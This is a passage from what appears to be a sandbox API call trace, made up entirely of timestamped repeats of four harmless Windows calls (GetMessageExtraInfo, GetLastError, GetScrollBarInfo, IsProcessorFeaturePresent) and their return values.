returned 0 [0098.532] GetMessageExtraInfo () returned 0x0 [0098.532] GetLastError () returned 0x578 [0098.532] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.532] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.532] GetMessageExtraInfo () returned 0x0 [0098.532] GetLastError () returned 0x578 [0098.532] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.532] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.532] GetMessageExtraInfo () returned 0x0 [0098.532] GetLastError () returned 0x578 [0098.532] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.532] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.532] GetMessageExtraInfo () returned 0x0 [0098.532] GetLastError () returned 0x578 [0098.532] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.532] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.532] GetMessageExtraInfo () returned 0x0 [0098.532] GetLastError () returned 0x578 [0098.532] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.532] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.532] GetMessageExtraInfo () returned 0x0 [0098.532] GetLastError () returned 0x578 [0098.532] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.533] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.533] GetMessageExtraInfo () returned 0x0 [0098.533] GetLastError () returned 0x578 [0098.533] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.533] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.533] GetMessageExtraInfo () returned 0x0 [0098.533] GetLastError () returned 0x578 [0098.533] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.533] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.533] GetMessageExtraInfo () returned 0x0 [0098.533] GetLastError () returned 0x578 [0098.533] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.533] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.533] GetMessageExtraInfo () returned 0x0 [0098.533] GetLastError () returned 0x578 [0098.533] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.533] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.533] GetMessageExtraInfo () returned 0x0 [0098.533] GetLastError () returned 0x578 [0098.533] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.533] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.533] GetMessageExtraInfo () returned 0x0 [0098.533] GetLastError () returned 0x578 [0098.533] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.533] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.533] GetMessageExtraInfo () returned 0x0 [0098.533] GetLastError () returned 0x578 [0098.533] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.533] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.533] GetMessageExtraInfo () returned 0x0 [0098.533] GetLastError () returned 0x578 [0098.533] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.533] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.533] GetMessageExtraInfo () returned 0x0 [0098.533] GetLastError () returned 0x578 [0098.533] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.533] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.533] GetMessageExtraInfo () returned 0x0 [0098.533] GetLastError () returned 0x578 [0098.533] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.534] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.534] GetMessageExtraInfo () returned 0x0 [0098.534] GetLastError () returned 0x578 [0098.534] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.534] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.534] GetMessageExtraInfo () returned 0x0 [0098.534] GetLastError () returned 0x578 [0098.534] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.534] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.534] GetMessageExtraInfo () returned 0x0 [0098.534] GetLastError () returned 0x578 [0098.534] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.534] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.534] GetMessageExtraInfo () returned 0x0 [0098.534] GetLastError () returned 0x578 [0098.534] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.534] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.534] GetMessageExtraInfo () returned 0x0 [0098.534] GetLastError () returned 0x578 [0098.534] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.534] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.534] GetMessageExtraInfo () returned 0x0 [0098.534] GetLastError () returned 0x578 [0098.534] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.534] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.534] GetMessageExtraInfo () returned 0x0 [0098.534] GetLastError () returned 0x578 [0098.534] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.534] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.534] GetMessageExtraInfo () returned 0x0 [0098.534] GetLastError () returned 0x578 [0098.534] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.534] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.535] GetMessageExtraInfo () returned 0x0 [0098.535] GetLastError () returned 0x578 [0098.535] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.535] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.535] GetMessageExtraInfo () returned 0x0 [0098.535] GetLastError () returned 0x578 [0098.535] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.535] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.535] GetMessageExtraInfo () returned 0x0 [0098.535] GetLastError () returned 0x578 [0098.535] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.535] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.535] GetMessageExtraInfo () returned 0x0 [0098.535] GetLastError () returned 0x578 [0098.535] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.535] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.535] GetMessageExtraInfo () returned 0x0 [0098.535] GetLastError () returned 0x578 [0098.535] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.535] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.535] GetMessageExtraInfo () returned 0x0 [0098.535] GetLastError () returned 0x578 [0098.535] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.535] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.535] GetMessageExtraInfo () returned 0x0 [0098.535] GetLastError () returned 0x578 [0098.535] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.535] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.535] GetMessageExtraInfo () returned 0x0 [0098.535] GetLastError () returned 0x578 [0098.535] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.535] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.535] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.536] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.536] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.536] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.536] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.536] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.536] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.536] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.536] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.536] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.536] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.536] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.536] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.536] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.536] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.536] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.536] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.536] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.536] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.536] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.536] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.536] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.536] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.536] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.536] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.536] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.536] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.536] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.536] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.536] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.536] GetMessageExtraInfo () returned 0x0 [0098.536] GetLastError () returned 0x578 [0098.537] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.537] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.537] GetMessageExtraInfo () returned 0x0 [0098.537] GetLastError () returned 0x578 [0098.537] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.537] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.537] GetMessageExtraInfo () returned 0x0 [0098.537] GetLastError () returned 0x578 [0098.537] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.537] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.537] GetMessageExtraInfo () returned 0x0 [0098.537] GetLastError () returned 0x578 [0098.537] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.537] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.537] GetMessageExtraInfo () returned 0x0 [0098.537] GetLastError () returned 0x578 [0098.537] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.537] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.537] GetMessageExtraInfo () returned 0x0 [0098.537] GetLastError () returned 0x578 [0098.537] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.537] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.537] GetMessageExtraInfo () returned 0x0 [0098.537] GetLastError () returned 0x578 [0098.537] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.537] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.537] GetMessageExtraInfo () returned 0x0 [0098.537] GetLastError () returned 0x578 [0098.537] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.537] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.537] GetMessageExtraInfo () returned 0x0 [0098.537] GetLastError () returned 0x578 [0098.537] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.537] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.537] GetMessageExtraInfo () returned 0x0 [0098.537] GetLastError () returned 0x578 [0098.537] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.538] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.538] GetMessageExtraInfo () returned 0x0 [0098.538] GetLastError () returned 0x578 [0098.538] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.538] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.538] GetMessageExtraInfo () returned 0x0 [0098.538] GetLastError () returned 0x578 [0098.538] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.538] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.538] GetMessageExtraInfo () returned 0x0 [0098.538] GetLastError () returned 0x578 [0098.538] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.538] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.538] GetMessageExtraInfo () returned 0x0 [0098.538] GetLastError () returned 0x578 [0098.538] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.538] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.538] GetMessageExtraInfo () returned 0x0 [0098.538] GetLastError () returned 0x578 [0098.538] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.538] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.538] GetMessageExtraInfo () returned 0x0 [0098.538] GetLastError () returned 0x578 [0098.538] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.538] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.538] GetMessageExtraInfo () returned 0x0 [0098.538] GetLastError () returned 0x578 [0098.538] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.538] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.538] GetMessageExtraInfo () returned 0x0 [0098.538] GetLastError () returned 0x578 [0098.538] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.538] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.538] GetMessageExtraInfo () returned 0x0 [0098.538] GetLastError () returned 0x578 [0098.538] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.538] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.538] GetMessageExtraInfo () returned 0x0 [0098.538] GetLastError () returned 0x578 [0098.538] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.539] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.539] GetMessageExtraInfo () returned 0x0 [0098.539] GetLastError () returned 0x578 [0098.539] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.539] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.539] GetMessageExtraInfo () returned 0x0 [0098.539] GetLastError () returned 0x578 [0098.539] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.539] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.539] GetMessageExtraInfo () returned 0x0 [0098.539] GetLastError () returned 0x578 [0098.539] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.539] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.539] GetMessageExtraInfo () returned 0x0 [0098.539] GetLastError () returned 0x578 [0098.539] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.539] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.539] GetMessageExtraInfo () returned 0x0 [0098.539] GetLastError () returned 0x578 [0098.539] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.539] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.539] GetMessageExtraInfo () returned 0x0 [0098.539] GetLastError () returned 0x578 [0098.539] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.539] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.539] GetMessageExtraInfo () returned 0x0 [0098.539] GetLastError () returned 0x578 [0098.539] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.539] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.539] GetMessageExtraInfo () returned 0x0 [0098.539] GetLastError () returned 0x578 [0098.539] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.539] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.539] GetMessageExtraInfo () returned 0x0 [0098.539] GetLastError () returned 0x578 [0098.539] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.539] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.539] GetMessageExtraInfo () returned 0x0 [0098.539] GetLastError () returned 0x578 [0098.539] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.540] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.540] GetMessageExtraInfo () returned 0x0 [0098.540] GetLastError () returned 0x578 [0098.540] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.540] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.540] GetMessageExtraInfo () returned 0x0 [0098.540] GetLastError () returned 0x578 [0098.540] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.540] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.540] GetMessageExtraInfo () returned 0x0 [0098.540] GetLastError () returned 0x578 [0098.540] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.540] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.540] GetMessageExtraInfo () returned 0x0 [0098.540] GetLastError () returned 0x578 [0098.540] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.540] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.540] GetMessageExtraInfo () returned 0x0 [0098.540] GetLastError () returned 0x578 [0098.540] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.540] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.540] GetMessageExtraInfo () returned 0x0 [0098.540] GetLastError () returned 0x578 [0098.540] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.540] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.540] GetMessageExtraInfo () returned 0x0 [0098.540] GetLastError () returned 0x578 [0098.540] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.540] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.540] GetMessageExtraInfo () returned 0x0 [0098.540] GetLastError () returned 0x578 [0098.540] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.540] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.540] GetMessageExtraInfo () returned 0x0 [0098.540] GetLastError () returned 0x578 [0098.540] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.540] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.540] GetMessageExtraInfo () returned 0x0 [0098.541] GetLastError () returned 0x578 [0098.541] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.541] GetMessageExtraInfo () returned 0x0 [0098.541] GetLastError () returned 0x578 [0098.541] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.541] GetMessageExtraInfo () returned 0x0 [0098.541] GetLastError () returned 0x578 [0098.541] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.541] GetMessageExtraInfo () returned 0x0 [0098.541] GetLastError () returned 0x578 [0098.541] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.541] GetMessageExtraInfo () returned 0x0 [0098.541] GetLastError () returned 0x578 [0098.541] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.541] GetMessageExtraInfo () returned 0x0 [0098.541] GetLastError () returned 0x578 [0098.541] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.541] GetMessageExtraInfo () returned 0x0 [0098.541] GetLastError () returned 0x578 [0098.541] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.541] GetMessageExtraInfo () returned 0x0 [0098.541] GetLastError () returned 0x578 [0098.541] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.541] GetMessageExtraInfo () returned 0x0 [0098.541] GetLastError () returned 0x578 [0098.541] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.541] GetMessageExtraInfo () returned 0x0 [0098.541] GetLastError () returned 0x578 [0098.541] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.541] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.541] GetMessageExtraInfo () returned 0x0 [0098.542] GetLastError () returned 0x578 [0098.542] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.542] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.542] GetMessageExtraInfo () returned 0x0 [0098.542] GetLastError () returned 0x578 [0098.542] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.542] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.542] GetMessageExtraInfo () returned 0x0 [0098.542] GetLastError () returned 0x578 [0098.542] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.542] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.542] GetMessageExtraInfo () returned 0x0 [0098.542] GetLastError () returned 0x578 [0098.542] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.542] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.542] GetMessageExtraInfo () returned 0x0 [0098.542] GetLastError () returned 0x578 [0098.542] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.542] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.542] GetMessageExtraInfo () returned 0x0 [0098.542] GetLastError () returned 0x578 [0098.542] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.542] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.542] GetMessageExtraInfo () returned 0x0 [0098.542] GetLastError () returned 0x578 [0098.542] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.542] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.542] GetMessageExtraInfo () returned 0x0 [0098.542] GetLastError () returned 0x578 [0098.542] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.542] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.542] GetMessageExtraInfo () returned 0x0 [0098.542] GetLastError () returned 0x578 [0098.542] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.542] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.542] GetMessageExtraInfo () returned 0x0 [0098.542] GetLastError () returned 0x578 [0098.542] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.542] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.542] GetMessageExtraInfo () returned 0x0 [0098.543] GetLastError () returned 0x578 [0098.543] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.543] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.543] GetMessageExtraInfo () returned 0x0 [0098.543] GetLastError () returned 0x578 [0098.543] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.543] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.543] GetMessageExtraInfo () returned 0x0 [0098.543] GetLastError () returned 0x578 [0098.543] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.543] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.543] GetMessageExtraInfo () returned 0x0 [0098.543] GetLastError () returned 0x578 [0098.543] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.543] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.543] GetMessageExtraInfo () returned 0x0 [0098.543] GetLastError () returned 0x578 [0098.543] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.543] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.543] GetMessageExtraInfo () returned 0x0 [0098.543] GetLastError () returned 0x578 [0098.543] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.543] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.543] 